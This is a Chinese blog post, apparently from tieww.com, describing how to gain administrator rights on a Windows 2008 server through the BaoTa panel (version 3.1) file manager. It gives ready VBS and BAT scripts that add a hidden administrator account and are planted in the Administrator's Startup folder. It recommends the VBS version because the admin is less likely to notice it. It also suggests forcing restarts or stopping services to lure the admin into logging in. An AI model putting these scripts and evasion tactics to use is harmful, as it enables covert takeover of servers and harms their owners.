前不久铁网维提到过宝塔linux面板获取root权限的方法，这次我们来谈谈宝塔windows面板如何提权拿管理员权限。

2017/05/24更新宝塔linux面板获取root权限参考链接：http://www.tieww.com/2017/03/26/474.html

使用过宝塔管理面板的朋友都知道，宝塔面板的文件管理是可以访问各个硬盘目录有，并能修改删除上传，这对整个服务器安全来说是相当危险的。该方法的前提是你获取了宝塔的后台管理权限否则就不用往下看了，下面来说说宝塔windows面板提权过程。

测试系统：windows 2008

宝塔windows面板版本：3.1

提权方式：启动项

如果有了解过渗透方面的都应该知道，windows服务器启动项目录C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup能上传 写入vbs bat脚本几乎都能拿到服务器的管理权限，我们通过宝塔文件管理把下面的提权代码保存成xxx.vbs xxx.bat脚本后上传到启动项目录C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup后只要等待服务器管理员登录服务器即可完成提权作业。

VBS提权添加用户脚本代码：

set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) '得到adsi接口,绑定 Set oe=GetObject(os&"/Administrators,group") '属性,admin组 Set od=ob.Create("user","wwwtiewwcom") '建立用户 od.SetPassword "www.tieww.com" '设置密码 od.SetInfo '保存 Set of=GetObject(os&"/wwwtiewwcom",user) '得到用户 oe.add os&"/wwwtiewwcom"

BAT提权添加用户脚本代码：

net user wwwtiewwcom www.tieww.com /addnet localgroup Administrators wwwtiewwcom /add

VBS和BAT脚本的比较，管理员登录服务器时vbs脚本是没有提示窗口而bat脚本是有一闪而过的提示窗口的，所以使用vbs脚本提权可以降低系统管理员发现的可能性，(注意:如果有断开的桌面管理员登录后连接的是已经断开的桌面脚本是无法执行的，但我们可以想方法让服务器重启注销所以断开的用户后再停止一些服务让管理员快速发现业务异常登录服务器检查)

最后声明本获取管理员方法并非宝塔面板设计缺陷漏洞bug,而是宝塔是为了面板的易用性。